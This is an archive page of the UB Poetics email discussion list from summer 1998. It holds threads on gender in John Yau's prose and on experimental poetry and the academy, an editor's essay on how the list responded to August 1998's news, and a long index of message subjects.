Now, I see what happens here as an inversion of an "archetypal" stereotype here....the traditional linkage of women with water and men with fire (as in LYSISTRATA, another man putting words in the mouth of a woman, or in Jagger's "She's So Cold" for instance) and then, and I think this also goes beyond stereotype, the female character starts expressing a desire for a FIREWOMAN. There's both an unstereotypical lesbian dimension here, as well a desire on the character's part to BECOME a firewoman ("a woman who fights fires. They have to give her her due and treat her like a man. She's on the line with them..."),
so this woman character tries on quite a few "non-traditional" roles in the course of this piece. This piece is --on one level--about whether identity is contingent not only on gender (or sex), but also

> *one ones choice of profession (a la Harryman). And I am curious what you, Karen kelley, have to say about this (though I do not grant Mark Weiss the authority I grant you in this matter, since I am more suspicious of a male judging another male as sexist,) and I have more to say on this (but will save it for the longish essay I want to write on this book--if I can find a publisher who will make room for my logorrhea), but wanted to express some of these points here in this forum, in the interest of dialogue....*
> *Again, thanks, for responding.....*
> *Chris Stroffolino*
>
> *On Mon, 27 Jul 1998, Karen Kelley wrote:*
>
> *Hi Chris,*
>
> *Good call: it IS "Butcher, Baker..."*
>
> *"I'm a dancer who makes men spin in their graves, gets them to yell 'bay bee,' whisper 'gosh' and 'honey,' and dream of 'whoopee.'"*
>
> *"Fate got warm with me, dealt me a flush. So I'm packaged right for the job. I have an easygoing, cornstalk smile; I'm tall and tilted just enough so short guys don't have to crane their little necks and hurt themselves. I can crouch and rise smooth as a wave. Twist and twirl until their brains turn to jellyfish bobbing in a beer bottle."*
>
> *"Early on I learned that men like to be swatted a little if you do it right and put on your girl-next-door smile while shaking your assets just beyond reach. I had tits and a smile that gave men cramps."*
>
> *This seems *extraordinarily* off-base as a representation of what a woman might think*
> *when contemplating male reaction to her body. Admittedly I am *one* woman among many.*
> *But I wonder if perhaps Yau isn't closer to what *men* *think* women think.*
>
> *When I first read the piece I felt guilty about finding it an amusing read when it was so clearly a man's idea of a woman's feelings. And as someone who's held the same*
> *job as the narrator, I'm aware of how routinely dancers are stereotyped.*
>
> *It sounds like you felt differently about the piece, Chris. C'mon, spill it.*
>
> *Karen*
>
> *louis stroffolino wrote:*

> *Dave Baratier asks what "cross-gendered identification" is.*
> *I guess I just meant the term simply (if loosely) to mean*
> *when someone of one gender and/or sex adopts or takes on*
> *the voice of someone of another gender and/or sex....*
> *I didn't say that YAU was NEW for doing that....*
> *but then "make it new" has never been much of a standard for me*
> *(see Mike Magee's intro to his mag COMBO for a view I largely share)*
>
> *Karen Kelley. COuld you tell me which particular piece of Yau's was*
> *in First Intensity? My hunch is you're talking about a piece called*
> *BUTCHER, BAKER, or CANDLESTICK MAKER, but I'd like to know more*
> *specifically before I respond....Because I'm curious about what*
> *you mean by "stereotypical" and why you think the piece you read is*
> *so.....*
> *Thanks, chris stroffolino*
>
> *On Thu, 23 Jul 1998, Karen Kelley wrote:*
>
> *I recently read something of Yau's in a mag--was it First Intensity? I'm*
> *sorry--I can't recall, but it was perhaps from the new book & was the narrative*
> *of a stripper & I found it rather disturbing in that the narrator was kind of*
> *dumb & angry & thought highly of her breasts (no prob with that in & of itself)*
> *& little of men in general--she was kind of a jaded line drawing of a*
> *woman--with the interior monolog of a stereotype, which I suppose is okay,*
> *though as this thread goes to show, the whole male/female or masc/fem question*
> *is much more complex than Yau's piece implied, and I guess I just felt annoyed*
> *that he was willing to throw another stereotype my way.*
>
> *louis stroffolino wrote:*
>
> > *Has anybody here read Yau's new Black Sparrow book?*
> > *In it, there is much "cross-gendered identification"*
> > *that---though it is written by a male--seems to, er,*
> > *"rupture patriarchal discourse" and could serve as*
> > *a complement to, say, Carla Harryman who also engages*
> > *in "cross-gendered" identification. I think Yau does*
> > *a very good job at trying to speak AS woman "other"*
> > *and negotiating the representational anxieties that*
> > *might attend the "presumption" of such a task.....*
> > *but would be very interested to hear opposing views....*
> > *chris stroffolino*
>
> *On Wed, 22 Jul 1998, Linda Russo wrote:*
>
> *Rah rah.*

I'm glad to see Safdie Joseph annoyed with the "position" that feminism had seemed to put Todd in (in reading the original post, before Todd's brilliant comeback) -- as an apologist. Elizabeth Treadwell makes the same point as well (though I have definite issues with Postfeminist Playground, for another post).

I wish we could just do away with the gender essentialism which causes so many with physical bodies to feel they have to apologize for some appendage or other. I'm intrigued by the problems women (and other 'others') face in trying to enter the current the forums/debates etc. -- very material problems (as Woolf pointed out early on) rooted in patriarchal biases.

But it's more fruitful to continue mucking things up, to keep getting more and more challenging writing published, to continue framing experiment as a rupture of "patriarchal laws" (Kristeva's argument; what Woolf recognized as "convention," what Bernstein has called "populist realism" etc) -- to recognized that oppression is at work, even that gender oppression is at work, but to quite calling the counter/re/active strategies "feminine"! or to call it feminine and stop stop linking this to (women's) biology! Or we all really do have the Anxiety of Influence -- we're all a bundle of nerves!

Until we get some intelligent conversation going to reframe the issues (and reframe them for feminist literary scholarship) we're going to be beaten over the heads with said appendages. (Not that it isn't out there -- Judith Butler, for example -- But to what extent has it made its way into contemporary poetics discussions?)

Todd's comeback:

being "stuck' has to do with our discussion of (bad spelling...er..) gender roles and structures in poetics. If one is aware of a gender role or gender model--then I believe on is "stuck" within the defintion and confinement of terminology. I do not believe tho that one is punished or "jailed" as in "stuck in prision..stuck in my room". The thing is that "stuck" is structure--if one identifies patterns as either male or female--but I agree with others when they notice that structures in poetics are male--in that they derive from male poets and male narratives--how else would the Epic, the sonnet, etc. have found their way here--now--in their forms. Your Marxist response negates that economics is gender and age (and race) based also. Very much so--are structures of Marxism (poor ms. marx and his daughters) and Capitalist Democracy/etc ("Free Market") based on a male pattern (baldness?) power elite-thus yes economics determine us--BUT--those economics are not--are not ---"impersonal economic forces..." --

never impersonal.

> *Tb*

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859. **L Emerson**
Re: Poetics programs, etc.
Fri 31 Jul 1998

On Fri, 31 Jul 1998, linda russo wrote:

> The Question to Ask Now is: has bringing "innovative" poetics, poets
> and poetries into the academy -- _taking_ the there (and off the
> streets?) -- MADE them academic/exclusive/closed/deadened them
> somehow? I wonder what people think? Personally, it's made it a
> possibility -- though I had to sit out many years with Academic
> academics until I got wind of the innovative ones -- but that now has
> changed; many "entering" the academy -- undergrads thinking of
> going on, as recent postings in this thread prove, know what's there.
>
Thankyou to all who have suggested programs, gives me something to think about.

In response to Linda Russo's Question...I'm about to begin my MA in English this fall on Canadian sound poetry and I'm bursting at the seams with excitement--excitement to be finally done with what the academy considers necessary, which is (more often than not) "mainstream." It's not 'mainstreamedness' that I have minded, but the drab and absolutely deadening, unvital way in which the mainstream folk are approached. Fortunately, a little over halfway through my degree, with the help of a few great profs here, I _did_ catch wind of the more innovative poets and from then on studying and aspiring within an academic environment has become a joy. Flakey-sounding perhaps, but I think what I think _now_ is that yes, the mainstreamed folk cherished by the academy have been _ made_ dead by the normal academic machinery (which is why, as my sessional friends teaching English 101 tell me, when given the choice to skip the poetry unit altogether most happily vote to do so); so given that they were all, at one time, as innovative and "on the street" (?) as the innovators of today, how have I had such good luck? Maybe it's not only the rigid way in which institutions have in the past approached poetry, but the poetry itself was well-suited to being studied in an institutional setting (I'm thinking of Eliot--is this unfair of me?).

SO, maybe all this is to say that it's the rigidity of institutions that makes them yucky and that does violence to the vital elasticity of a lot of great art/poetry; and since--as far as I know!--I'm "inside" academia and been able to have enough room to do explore the margins, maybe the academic environment is becoming more conducive to the study of innovative poetry/poetics and more flexible in its ranges of possible approaches.

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860. **maz881**
Zinc Bar Reading
Fri 31 Jul 1998

Special NY appearance:

MICHAEL TURNER

JUDY RADUL

Zinc Bar, Sunday August 2nd {1998}

6:30 pm / 90 West Houston St. (just west of Laguardia Place)

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861. **Kathy Lou Schultz**
Poetix programs/my little tirade
Fri 31 Jul 1998

Oh, my little tirade, I remember it well. . . I was thinking about the fact that I no longer think it's historically accurate to say that "experimental" poetry, or language poetry for that matter, is a project "opposed" to the academy. It is opposed to traditional/conservative forces within the academy that have dug their heals in, ready to defend what(?) their position, what they see as a (their) "tradition." But most often those folks are ahistorical themselves, not understanding the longstanding traditions of what is called "experiment."

I weathered vicious "poetry wars" while a grad student at San Francisco State, so am particularly aware of these factions. My point came up in the context of someone (Todd B.?) recommending grad programs and then saying that these were "outside of the academy" and this just does not make sense. Certain programs may embrace more radicalizing traditions, but that doesn't make them "outside" the "academy."

I agree with this point:

Mark Prejsnar wrote:
I think your reflections on this are highly interesting, Don...But i don't

believe Kathy's original point, or what most of us have been saying, is about people being "academic poets." Rather it's about a *socioideological location* Being an academic poet is another matter.

And find this interesting:

John Latta wrote: Exactly. What I notice is how academics of all stripes (like prisoners of yore) must needs scramble always to the margins, those now fashionable outposts. Those everywhere in the thickest of the thick of it claiming they ain't.

Thanks all.
Kathy Lou

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862. Matt Kirschenbaum
Re: My Definition of Academic
Fri 31 Jul 1998

The current insider/outsider discussion re the academy recalls the "poets vs. critics" thread (and yes, if memory serves, that was one of the actual subject lines) played out on Poetics a year or two ago. Perhaps the cyclical resurrection of the topic is invetiable given the proximity (or, if you excuse the academically fashionable pluralization, the multiple proximities) this list and many of its constituents bear towards academic institutions. But still, the appearance of this topic always depresses me for its unavoidable ressonance with broader strains of public anti-intellectualism: the conservative attack on the professoriate, media attacks on the "ivory tower" (what is the origin of that epithet, anyway?).

(Nor are these topics of only "academic" interest given that the budgets of public universities like SUNY Buffalo or the U. of Virginia (where I am) are functions of state legislatures and public policy -- and thus, in some ultimate sense, public opinion.)

Academic self-hatred of the kind sometimes seen here strikes me as a nostalgic gesture, nostalgia for a time when academics could still afford the luxury of their identity.

John Latta wrote:

> *We're all academics. (Echo of Mai 68.)*

Will the real world please stand up. Matt

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863. Tosh
Re: fixing to die
Fri 31 Jul 1998

Dear Anthony and list,

The Mishima film was filmed in the mid or late 60's. I can't remember the name. There's no dialogue or sound except for Wagner's music. It is a weird beautiful, odd, narcissistic film by Mishima himself. It is about 20 minutes long, and basically it is based on his short story "Patriotism."

Mishima plays a soldier who has been dishonored, and therefore, along with his wife, commits suicide, . Basically a little warm up to his final performance.'

After his death, Mishima's wife tried to destroy all prints, including the negatives. What I saw was pretty much a bootleg video - and the print wasn't that hot.

So the film is sort of between Cocteau, Genet's prison film, and Kenneth Anger.

Tosh Berman
TamTam Books

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864. Katherine Lederer
Re: Poetics programs, etc.
Fri 31 Jul 1998

I've always thought of "academic" as a term denoting a certain form of cultural entrenchment. As in: "the academy" functions as a sort of cultural repository--and as such it is by definition conservative.

I have never understood the claim that "avant-garde" poets are in any way less academic than "mainstream" poets. Both (ostensible) camps guard their traditions and canons jealously... both harbor various means of garnering prestige (mags, prizes--c'mon that the avant-garde doesn't have lots of book prizes and awards...).... both maintain a capacity for dogma.

Best,
Katy

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865. Alan Jennifer Sondheim
Re: My Definition of Academic
Fri 31 Jul 1998

I'd join the academy if I could.
I'm tired of never having any money.
I'm tired of the stress always looking for the next little job.
I'm tired of being an outsider.
I'm tired of no health insurance book/travel/conference perks.
I'm tired of begging. I'm tired of insomnia.
I'm tired of no furniture, eating poorly.
I'm tired of the whole fucking thing.
I'd join in a second.
I'd join for free.

Alan's Gang, wondering who's in and who's out at the moment.

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866. KENT JOHNSON
Re: Question of a "good war"
Fri 31 Jul 1998

On 31 July, Ron Silliman wrote:

> *I would never make light of the decision to participate in WW2. I don't think that stopping Hitler was optional.*
>
> *But having seen the photos my own father took in Nagasaki one month after the bombing there (though never having spoken with him about this),*
>
> *And thinking not just of Lowell, but of Creeley choosing to drive an ambulance in Burma, and of Whalen, Rexroth and others in the C.O. camp in Oregon, it certainly does seem that it was possible to step back and decide, for perfectly good reason, to say no. None of these people (not even Lowell) was an idiot.*

Worth remembering too, whatever one might think of it, that there were a number of U.S. anti-Stalinist socialists (none of them idiots, either) who followed in the tradition of Bill Haywood, Mother Jones, and Eugene Debs, and said: This is a capitalist war; workers should refuse to fight for the armed forces of capital and organize, through the newly won unions, their own military contingents to fight fascism.

Most of them went to jail under the Sedition Act. The
U.S. Communist Party (which had significant influence in the CIO)
publicly cheered, calling them Nazi agents.

Kent

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

August 1998

753 messages · Fri 31 Jul 1998 – Mon 31 Aug 1998

August 1998 was the month the news refused to be ignored. In eleven days the American embassies in Nairobi and Dar es Salaam were bombed, Omagh was torn open, the President testified at last, and cruise missiles fell on Sudan and Afghanistan — and the Poetics list, which as a rule lets the world's calamities pass, this time could not, as it had not in the spring, for Jonesboro. But the manner of its attention was entirely its own. The room did not report the news or grieve it so much as translate it: every catastrophe that entered in August was made, within a post or two, to speak the list's private language of framing, lineage, and blame.

For underneath the sirens the list went on with its own largest argument, which was about the word academic. It ran to some forty-six messages and, characteristically, never settled what the word meant — linda russo typing out a history of the mimeo revolution past midnight (*"it's lonely on this list at 2 am!"*), david bromige countering that to call a thing academic is merely to call it *"of no moment"*, the whole room circling the awkward fact that the avant-garde and the mainstream now share a faculty lounge. It was the month's real occupation, and it tells you where the list lives: even as the missiles flew, its deepest energy went to litigating a piece of its own vocabulary.

When the missiles did become the subject, the list answered them as only it would — with a proposal for a poem. In the thread someone had titled Brainwashed Sudanese poets, Kent Johnson called for a statement against the strike, signed jointly by American and Sudanese poets, and the room argued the idea with its usual scruple. Henry Gould warned against romanticising a foreign regime, invoking the poets who had loved Stalin too well; Mark Weiss named what Sudan had done to its own; Judy Roitman observed that naïve contact could get the Sudanese killed. Ron Silliman cut under all of it — *"military offenses against terrorism basically NEVER work."* A war arrived, and the room's response was to workshop a solidarity.

The month's sharpest moment needed no argument at all. All August a cheerful thread had been assembling a syllabus of American comedy — the list at play, trading funny books and funnier theories — when k.a. hehir walked into it carrying the roll of the Omagh dead and retitled the thread, mid-stream, terrorism like comedy is not pretty. He had posted the names to cool the theorising; *"this*

made me cry at my desk today.” It is the truest picture of the month: the news arriving in the room not through the door marked politics but as a reply in the comedy thread, the dead of Northern Ireland laid down among the punchlines.

And the one loss that needed no translation was the list’s own. On the fifth, before the missiles, Charles Watts had died in Vancouver — the librarian who kept the Contemporary Literature Collection, the very kind of archive that makes a month like this one legible, dead of cancer. The room did not have to convert his death into anything; it simply mourned him, George Bowering and Billy Little among them, and Peter Quartermain closed the notice with the plainest sentence the month produced: *“He was one of the reasons to be, here.”* I have set that quiet death at the head of a loud August exactly as it fell — the one thing all month the room did not first translate into an argument.

— Kristen M. Fabians

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114. Charles Alexander — Re: Writing Poetry in the Age of Media
115. L. MacMahon and T.R. Healy — Re: Writing Poetry in the Age of Media
116. Jim Andrews — L A N G U (I M) A G E in Seattle Sept. 5
117. Daniel Carter — phasic thin the nest
118. rsillima — Huh
119. Donald Wellman — Re: Writing Poetry in the Age of Media
120. Michael Magee — Re: Writing Poetry in the Age of Media
121. Henry — Re: H=E=N=R=Y
122. Robert Archambeau — Re: Milosz
123. Mark Prejsnar — Re: Oh Henry
124. Robert Archambeau — Re: should we criminalize mediocrity?
125. David Kellogg — Re: Academic exchange value
126. Mark Prejsnar — Shouting Rock and Roll in Prvt. Ryan
127. Tosh — Re: Shouting Rock and Roll in Prvt. Ryan
128. Henry G — Re: Oh Henry
129. Maria Damon — Re: Academic exchange value
130. MAYHEW — should we criminalize mediocrity?
131. henry — Re: should we criminalize mediocrity?
132. Mark Prejsnar — a few basics
133. Henry Gould — Re: a few basics
134. david bromige — ron o'silliman
135. Andrew D Epstein — Re: should we criminalize mediocrity?
136. david bromige — poetry in the age of medication
137. Michael Magee — Re: a few basics
138. dbkk — Bellamy reading in SF
139. Mark Prejsnar — Re: a few basics
140. henry — Re: a few basics
141. Tom Orange — (no subject)
142. Tom Orange — saving disjunctive
143. charssmith — Re: In which will be found what is set forth therein
144. Alaric Sumner — Bill Griffiths FWD Seaham Unaligned Literary & Philosophical Association
145. Mark DuCharme — Re: Luoma
146. trbell — Re: Writing Poetry in the Age of Media
147. R.Gancie/C.Parcelli — an example of the fundamental contradiction of scientific analysis, t…
148. toddbaron — basics
149. Maria Damon — Re: Academic exchange value
150. Michael Magee — Re: a few basics, a few specifics
151. Douglas — Re: help w/ djuna barnes
152. Donald Wellman — Re: saving disjunctive
153. David Kellogg — yaaay!
154. toddbaron — Re: poetry in the age of medication
155. KENT JOHNSON — Ole!

156. Rachel Loden — instead of a pineapple
157. trbell — Re: H=E=N=R=Y
158. trbell — Re: Writing Poetry in the Age of Media
159. trbell — Re: Writing Poetry in the Age of Media

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160. Susan Schultz — Re: creative writing at the University of Hawai`i
161. Hazel Smith — hypermedia piece
162. Kathy Lou Schultz — Ahistorical finger pointing
163. Alan Jennifer Sondheim — what happened from 1809
164. George Bowering — Re: Shouting Rock and Roll in Prvt. Ryan
165. Mark DuCharme — Re: H=E=N=R=Y
166. Tom Orange — saving disjunctive
167. Mark DuCharme — Re: H=E=N=R=Y
168. toddbaron — Re: creative writing at the University of Hawai`i
169. rsillima — My David O'Bromige
170. Henry — Re: H=E=N=R=Y
171. Henry Gould — query: Robinson, Snyder
172. L. MacMahon and T.R. Healy — Re: writing in the age of media
173. Henry Gould — Re: writing in the age of media
174. Mark Prejsnar — Confused Kathy fingerpointing
175. MAYHEW — Academic Exchange Value
176. Christian Roess — :Re:poetry in the age of medication
177. groberts — Re: h=e=n=r=y
178. Henry — Re: h=e=n=r=y
179. trbell — Re: hypermedia piece
180. Pritchett,Patrick — Re: need email address
181. trbell — Re: :Re:poetry in the age of medication
182. Peter Quartermain — Charles Watts
183. maz881 — Re: Other
184. joel lewis — f.y.i.
185. Louis Cabri — phillytalks
186. George Bowering — Re: Charles Watts
187. George Bowering — Re: My David O'Bromige
188. Rachel Loden — Re: poetry in the age of medication (the testimony begins)
189. Kathy Lou Schultz — "Poor Confused Kathy" responds
190. Kathy Lou Schultz — Spelling Bee for Mark P.
191. Rachel Loden — poetry in the territories (response to Wheeler)
192. Matt Kirschenbaum — Re: "Poor Confused Kathy" responds
193. Safdie Joseph — Re: (the testimony begins)

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194. david bromige — wrtng in thage f mdia/2ndng Randolph Healy
195. david bromige — poetry in the age of medication
196. Henry Gould — my territory
197. Maria Damon — Re: poetry in the territories (response to Wheeler)
198. Michael Magee — quotes o' the day
199. henry — Re: quotes o' the day
200. Christopher W. Alexander — this insulating sleeve is detrimental
201. david bromige — gotta go
202. Michael Magee — Re: quotes o' the day
203. Michael Magee — Re: quotes o' the day
204. Henry — Re: quotes o' the day
205. Billy Little — Re: Charles Watts
206. rsillima — The real Charlie Watts
207. Susan Wheeler — Re: quotes o' the day
208. Mark DuCharme — Re: instead of a pineapple

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209. trbell — Asif NOT related to recent posts here
210. Michael Magee — marginalized poets? - not so fast!
211. Robert Archambeau — Germ (s) (ans) (any) (inal)
212. Michael Magee — Re: marginalized poets? - not so fast!
213. Maria Damon — Re: marginalized poets? - not so fast!
214. Henry oh-oh — 1 more dizjunk peep
215. Rachel Loden — 42 Little Ways to Happier Love
216. Michael Magee — Re: 1 more dizjunk peep
217. tracy s. ruggles — Re: 1 more dizjunk peep
218. Charles Alexander — Re: 1 more dizjunk peep
219. Jordan Davis — fadenya badenya
220. dbkk — Mina review
221. hen — Re: fadenya badenya
222. David Baratier — Re: Oh henry bookmaking comment
223. Charles Alexander — Re: fadenya badenya
224. henry gould — Re: 1 more dizjunk peep
225. Elizabeth Treadwell — Outlet review cc's
226. L. MacMahon and T.R. Healy — Re: Outlet review cc's
227. Robert Corbett — All things nicholian
228. Carl Lynden Peters — Re: All things nicholian
229. maz881 — aldon
230. Carl Lynden Peters — bpNichol feature
231. henry — Re: Oh henry bookmaking comment
232. Douglas Oliver — Re: Snuff and more
233. Christian Roess — Re: fadenya badenya
234. Ryan Whyte — Re: Oh henry bookmaking comment
235. Dorothy Trujillo — Charles Watts

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236. Alan Jennifer Sondheim — ISEA98 (completed '96) from Jennifer
237. Marjorie Perloff — Re: Kass Fleisher piece
238. Michael Magee — Re: fadenya badenya
239. Marjorie Perloff — Re: Kass Fleisher piece
240. Douglas Barbour — Re: bp studies
241. David Baratier — Re: Oh henry bookmaking comment
242. Mark DuCharme — Re: your territory (& welcome to it)
243. Mark Weiss — Re: your territory (& welcome to it)
244. Dorothy Trujillo — Re: ME "on" list

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245. MAXINE CHERNOFF — Query
246. rsillima — Private Ryan
247. Louis Cabri — Re: bp studies
248. Charles Bernstein — Russian festival of poetry (fwd)
249. Mark DuCharme — Re: your territory (& welcome to it)
250. trbell — proletarian _Glamour
251. Loss Pequen~o Glazier — Mouseover at EBR
252. Mark DuCharme — Re: Oh henry bookmaking comment
253. Christian Roess — Re: my territory
254. Aldon Nielsen — where in the world is Aldon Nielsen
255. Tom Beard — Re: Oh henry bookmaking comment
256. Charles Bernstein — Hannah Weiner Tribute
257. David Baratier — Re: Oh henry bookmaking comment

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258. maz881 — Re: Me "on" list

259. toddbaron — Re: Hannah Weiner Tribute
260. rsillima — Doling out the prole
261. henry — Re: my territory
262. Robert Archambeau — EP, Spit Laureate
263. F. W. Perrella — Web Del Sol - Quictions, In Posse Review
264. Michael Coffey — Welcome Message -Reply
265. Lawrence Upton. — Programme for Sub Voicive Poetry, London, Autumn 98
266. Laura E. Wright — Re: proletarian _Glamour
267. Charles Bernstein — Writer on Line Interview
268. Dorothy Trujillo — Re: Doling out the prole
269. charssmith — Baude/Grenier
270. Mark DuCharme — Re: proletarian _Glamour
271. MAYHEW — Why I am not a Marxist

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272. Mark DuCharme — Re: Oh henry bookmaking comment
273. Mark DuCharme — Re: my territory (anyone for list-Imagism?)
274. Mark DuCharme — Re: my territory (anyone for list-Imagism?)
275. Alan Jennifer Sondheim — (no subject)
276. Michael Magee — Re: EP, Spit Laureate
277. henry g — Re: my territory (anyone for list-Imagism?)
278. daniel bouchard — Washington DC area reading
279. Gwyn McVay — Re: my territory (anyone for list-Imagism?)
280. Robert Archambeau — DLB on Perelman, Watten, Cage etc
281. Robert Archambeau — PS to DLB
282. Herb Levy — Subtext readings (Seattle)
283. Laura E. Wright — query
284. Carolyn Guertin — Electronic Book Review: new issue
285. acgold01 — Black Sparrow address
286. Robert Archambeau — DLB info
287. David Baratier — snorting up the Pound / Williams line
288. Jim Andrews — some software for you

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289. k.a. hehir — in the key of bp
290. Michael Magee — Re: snorting up the Pound / Williams line
291. Erik Sweet — "Tool a Magazine" Party Friday 8/14
292. Fredrik Hertzberg LIT — Cave the teacher (fwd)
293. Susan Schultz — Re: Cave the teacher (fwd)
294. louis stroffolino — Re: PS to DLB
295. Robert Corbett — Re: Postmodern Piracy Festival /Call for Participants (fwd)
296. Pritchett,Patrick — Re: Bombay Gin
297. Robert Corbett — Re: Postmodern Piracy Festival /Call for Participants (fwd)
298. Henry Gould — Re: snorting up the Pound / Williams line
299. trbell — poetic incest or snorting
300. Jordan Davis — <to enter the subject>
301. MAYHEW — Pound, techne, Jones, Heidegger
302. charles alexander — (Fwd) Rejected posting to [redacted]
303. Donald Wellman — Re: Pound, techne, Jones, Heidegger
304. Donald Wellman — Re: Pound, techne, Jones, Heidegger
305. joel lewis — f.y.i.
306. hen — Re: Pound, techne, Jones, Heidegger
307. hen — Re: <to enter the subject>

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308. toddbaron — Re: Pound, techne, Jones, Heidegger
309. Ryan Whyte — Re: <to enter the subject>

310. joel lewis — more f.y.i.
311. Alan Jennifer Sondheim — Elaboration for Andy Kaufman
312. toddbaron — Re: "I" is another"---
313. Peter Ganick — address request
314. Michael Magee — Re: Pound, techne, Jones, Heidegger
315. Poetics List — bpNichol Conference, Program (fwd)
316. Michael Magee — Re: Reading In Providence
317. Michael Magee — Re: Reading In Providence
318. Jordan Davis — <to enter blind carbon>
319. Charles Alexander — Re: <to enter blind carbon>
320. Joseph Conte — DLB 193 and its contents
321. R.Gancie/C.Parcelli — Re: Pound, techne, Jones, Heidegger
322. Al Filreis — Gerd Stern/Seven Stray Cats
323. david bromige — je est un autre
324. David W. McFadden — Re: <to enter blind carbon>
325. David W. McFadden — Re: je est un autre
326. daniel bouchard — whose emily d?
327. david bromige — gerd stern
328. Laura E. Wright — Re: je est un autre
329. david bromige — joe est un autre
330. Jim McCrary — Re: joe est un autre
331. Michael Magee — Mullen interview
332. Joe Brennan — Re: je est un autre
333. Roger Farr — Chance Operations
334. David Kellogg — Bob est un autre
335. toddbaron — Re: <to enter blind carbon>
336. toddbaron — Re: <to enter blind carbon>
337. MAYHEW — Mayhem,Headgear, sartorial
338. Safdie Joseph — Re: Joe am another
339. Mark Weiss — Re: whose emily d?
340. k.a. hehir — Wild Things Call for Submissions
341. toddbaron — Re: je est un autre
342. toddbaron — Re: <to enter blind carbon>
343. George Bowering — Re: Al Filreis

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344. Tom Beard — Re: location location location
345. Tosh — Re: location location location
346. toddbaron — location location location
347. Michael Magee — Re: location location location
348. Gwyn McVay — piercing misreading (was location)
349. Michael Magee — Re: piercing misreading (was location)
350. Jordan Davis — collation, collation, collation
351. Maria Damon — Re: Bob est un autre/ joe est un mama
352. charles alexander — Re: location location location
353. Laura E. Wright — Re: location location location
354. Henry Gould — Re: location
355. toddbaron — Re: location location location
356. toddbaron — Re: location location location
357. Henry G — sorry Ez
358. Robert Corbett — Millennium Spellchecks
359. Macgregor S Card — Spring-cum-Summer Germ is here

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360. David W. McFadden — Re: <to enter blind carbon>
361. trbell — Re: Pound, techne, Jones, Heidegger
362. trbell — Metaphoric or metonymic < blind carbon>

363. toddbaron — Re: Metaphoric or metonymic < blind carbon>
364. Marcella Durand — Zinc Bar

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365. Alan Jennifer Sondheim — _the continuity girl_
366. joel lewis — Re: location location location
367. joel lewis — kenneth koch on the www

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368. R I Caddel — Scully's Steps
369. Maria Damon — many queries
370. Maria Damon — call for papers/Kaufman
371. Trevor Joyce — Re: Scully's Steps
372. Laura E. Wright — Re: oogling
373. Laura E. Wright — ooooops
374. R M Daley — Re: ooooooooooogling stupidity
375. Simon DeDeo — Re: location location location
376. P.Standard Schaefer — CONS CONFERENCE
377. toddbaron — Re: ooooooooooogling stupidity
378. George Thompson — Re: ooooooooooogling stupidity
379. Mark Weiss — Re: location location location
380. Mark Weiss — Re: oogling
381. charles alexander — printing
382. Mark Weiss — Re: printing
383. charles alexander — sorry

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384. Donald Wellman — Re: location location location
385. Mark Salerno — Reading in Chicago
386. Henry Gould — Re: location
387. KENT JOHNSON — (Fwd) Join SAWSJ
388. George Thompson — Re: location
389. Mark Prejsnar — Feeling sorry
390. R.Gancie/C.Parcelli — Re: location location location
391. Peter Balestrieri — Re: ooooooooooogling stupidity
392. Pierre Joris — single query
393. MAYHEW — Not yet/already
394. MAYHEW — stupidity
395. hen — Re: ooooooooooogling stupidity
396. David Baratier — Re: snorting up the Pound / Williams line
397. toddbaron — Re: (Fwd) Join SAWSJ
398. toddbaron — Re: location
399. toddbaron — Re: location location location
400. Mark Weiss — Re: Not yet/already
401. David Zauhar — location(3): three quotes and 2 questions
402. toddbaron — Re: ooooooooooogling stupidity
403. louis stroffolino — QUERIES (CB and DS)
404. Karen and Trevor — submissions
405. KENT JOHNSON — (Fwd) from Another Labor-Related List ...

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406. KENT JOHNSON — Bullworth
407. Alan Jennifer Sondheim — susan's "and the aliens" (fwd)
408. R M Daley — Re: ooooooooooogling stupidity
409. Robert Archambeau — Re: reactionary query
410. Peter Ganick — location location location
411. Robert Archambeau — Re: reactionary query

412. Henry Gould — Re: snorting up the Pound etc.
413. Daniel Zimmerman — Re: Bullworth
414. Robert Archambeau — Re: reactionary query
415. MAYHEW — reactionary query
416. David W. McFadden — Re: oogling
417. Michael Magee — Re: reactionary query
418. David W. McFadden — Re: ooooooooooogling stupidity
419. james perez — Re: Not yet/already
420. David W. McFadden — Re: location location location
421. David W. McFadden — Re: ooooooooooogling stupidity
422. David W. McFadden — Re: location(3): three quotes and 2 questions
423. Billy Little — translation anyone?
424. k.a. hehir — Jornal de Poesia
425. Gary Sullivan — Marianne Moore's spirit on Bullworth's ghost
426. louis stroffolino — Re: QUERIES (CB and DS)
427. Michael Magee — Re: reactionary query
428. Mark Weiss — Re: Not yet/already
429. Henry — Re: reactionary query
430. MAYHEW — Re: reactionary query
431. Gary Sullivan — Moore's finicky rewrite for the _Collected Posthumous Dictation_
432. Michael Magee — Re: reactionary query
433. Michael Magee — Re: reactionary query
434. toddbaron — Re: ooooooooooogling stupidity
435. toddbaron — Re: reactionary query
436. Henry Gould — Re: reactionary query
437. mj devaney — Re: _Economist_ piece on the state of poetry
438. Erik Sweet — "Tool A Magazine" available now!
439. r. drake — Re: Jornal de Poesia
440. R M Daley — Re: Writer on Line Interview
441. Mark DuCharme — Re: je est un autre
442. Mark DuCharme — Re: location location location
443. Erik Sweet — "Tool a Magazine" address
444. George Thompson — Re: Writer on Line Interview

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445. ken|n|ing — Re: _Economist_ piece on the state of poetry
446. Fredrik Hertzberg LIT — bp would have liked this
447. George Bowering — Re: Writer on Line Interview
448. Michael Magee — Re: reactionary query
449. henry — Re: reactionary query
450. Michael Magee — Re: _Economist_ piece on the state of poetry
451. Michael Magee — Re: reactionary query
452. David W. McFadden — Re: Bullworth
453. Jordan Davis — more recent economist article
454. henry — Re: reactionary query
455. james perez — brasil
456. Peter Balestrieri — Regarding Civility on the List
457. Susan Schultz — Re: more recent economist article
458. Erik Sweet — Need Persons and Poetry
459. Loss Pequen~o Glazier — Re: Need Persons and Poetry
460. Erik Sweet — Need Persons and Poetry/Cats
461. Jerry McGuire — deep south newsletter 2, schedule & registration
462. k.a. hehir — new from housepress: keyboard po (e/li)tics
463. R M Daley — Re: Writer on Line Interview/reactionatinquery
464. George Thompson — Re: Writer on Line Interview/reactionatinquery
465. R M Daley — Re: Writer on Line Interview/reactionatinquery

466. david bromige — Rudeness on the List
467. George Thompson — Re: Writer on Line Interview/reactionatinquery

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468. Jay Schwartz — Re: Rudeness on the List
469. shemurph — the rude planets
470. R M Daley — Re: Rudeness on the List
471. George Bowering — Re: more recent economist article
472. Todd Baron /*/ ReMap — Re: Rudeness on the List: "I" is another and another and an other an...
473. Douglas — new Sun & Moon titles
